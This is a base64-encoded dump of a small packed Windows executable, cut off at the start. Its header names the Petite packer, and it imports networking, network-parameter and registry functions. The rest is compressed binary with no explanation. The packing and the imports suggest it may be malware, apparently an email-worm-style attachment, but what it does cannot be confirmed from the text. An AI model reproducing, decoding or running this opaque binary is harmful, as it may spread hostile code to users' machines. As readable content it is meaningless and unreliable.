dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgC AAAjWZWUi0QkBIPEKo2QNAAAAIPECGoQi9hmBS0AUFJqAIsb/xNq//9TDEVSUk9SIQBDb3Jy dXB0IERhdGEhALgAcEEAaNFrQABk/zUAAAAAZIklAAAAAGacYFBoAABAAIs8JIswZoHHgAeN dAYIiTiLXhBQVmoCaIAIAABXahNqBlZqBGiACAAAV//Tg+4IWfOlWWaDx2iBxsIAAADzpf/T WI2QuAEAAIsKD7rxH3MWiwQk/Yvwi/gDcgQDegjzpYPCDPzr4oPCEIta9IXbdNiLBCSLevgD +FKNNAHrF1hYWFp0xOkc////AtJ1B4oWg+7/EtLDgfsAAAEAcw5oYMD//2hg/P//tgXrIoH7 AAAEAHMOaICB//9ogPn//7YH6wxoAIP//2gA+///tghqADLSS6QzyYP7AH6k6Kr///9yF6Qw X/9L6+1B6Jv///8TyeiU////cvLDM+3o6f///4PpA3MGiwQkQesji8EPts7odf///xPASXX2 g/D/O0QkBIPVATtEJAiD1QCJBCToV////xPJ6FD///8TyXUI6Kb///+DwQIDzVYr2Y00OPOk XuuDLovAuA4AgNxKAAD8XwEAICUBAKlGAAAAEAAArxIAAN5PAQAmDwAAAGAAALQBAACVVwEA 5BIAAABwAAA4ugEAAAAAAMYTAAAAAAAAAAAAAAAAAABicwEAiHIBAAAAAAAAAAAAAAAAAG1z AQCUcgEAAAAAAAAAAAAAAAAAenMBAKhyAQAAAAAAAAAAAAAAAACGcwEAsHIBAAAAAAAAAAAA AAAAAJFzAQC4cgEAAAAAAAAAAAAAAAAAnnMBAMByAQAAAAAAAAAAAAAAAAAAAAAAAAAAAMhy AQDWcgEAAAAAAOJyAQDwcgEAAHMBABJzAQAAAAAAJHMBAAAAAAALAACAAAAAAEBzAQAAAAAA VHMBAAAAAAAAAE1lc3NhZ2VCb3hBAAAAd3NwcmludGZBAAAARXhpdFByb2Nlc3MAAABMb2Fk TGlicmFyeUEAAAAAR2V0UHJvY0FkZHJlc3MAAAAAVmlydHVhbFByb3RlY3QAAAAASW50ZXJu ZXRHZXRDb25uZWN0ZWRTdGF0ZQAAAEdldE5ldHdvcmtQYXJhbXMAAAAAUmVnT3BlbktleUEA VVNFUjMyLmRsbABLRVJORUwzMi5kbGwAV0lOSU5FVC5kbGwAV1MyXzMyLmRsbABpcGhscGFw aS5kbGwAQURWQVBJMzIuZGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 